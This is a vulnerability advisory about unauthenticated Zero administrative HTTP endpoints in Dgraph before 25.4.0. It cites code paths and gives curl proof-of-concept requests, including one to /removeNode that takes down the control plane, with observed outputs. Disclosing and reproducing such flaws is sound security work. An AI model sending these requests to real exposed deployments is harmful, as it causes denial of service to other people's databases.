| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/dgraph-io/dgraph/v25 | < 25.4.0 | 25.4.0 |
Dgraph v25.3.8 exposes a Zero HTTP administrative surface that is unauthenticated when port 6080 is reachable.
The exposed routes include:
/state/assign/removeNode/moveTabletAn unauthenticated request to /removeNode?id=1&group=0 on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to localhost:5080.
The issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.
Relevant code paths:
worker/server_state.go:41dgraph/cmd/zero/run.go:295-301dgraph/cmd/zero/http.go:106-129dgraph/cmd/zero/zero.go:475-477The relevant behavior is:
disable-admin-http=false by default/removeNode accepts attacker-controlled id and groupremoveNode forwards those directly into Server.RemoveNodegroup=0, Server.RemoveNode immediately calls ProposePeerRemovalThis means a remote unauthenticated caller can directly trigger destructive membership operations if 6080 is exposed.
curl -i http://127.0.0.1:6080/state
Observed response included:
id=1groupId=0leader=truecurl -i 'http://127.0.0.1:6080/assign?what=nsids&num=1'
Observed response:
HTTP/1.1 200 OK
...
{"startId":"1", "endId":"1", "readOnly":"0"}
This confirms the admin plane is not merely informational.
<img width="1877" height="805" alt="图片" src="https://github.com/user-attachments/assets/caf60927-83ba-495d-8c55-e48343b8a2c7" />curl -i 'http://127.0.0.1:6080/removeNode?id=1&group=0'
Observed result:
curl: (52) Empty reply from server
<img width="1877" height="806" alt="图片" src="https://github.com/user-attachments/assets/a837c385-1c2d-42b6-a5c9-0d93a974ff4e" />
Immediately afterward:
curl -i http://127.0.0.1:6080/health
Observed result:
curl: (56) Recv failure: Connection reset by peer
<img width="786" height="47" alt="图片" src="https://github.com/user-attachments/assets/bd5e977d-d046-4626-b3df-155b141564fa" />
Alpha health was still locally reachable, but Alpha logs began repeatedly reporting:
dial tcp [::1]:5080: connect: connection refused
<img width="1688" height="197" alt="图片" src="https://github.com/user-attachments/assets/8ae3bb84-65bc-4951-ad32-5e1c3231c894" />
This confirms the request reached the destructive path and disrupted the Zero control plane.
Any deployment that exposes Zero HTTP on 6080 exposes destructive unauthenticated administrative capabilities.
An attacker can:
This is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free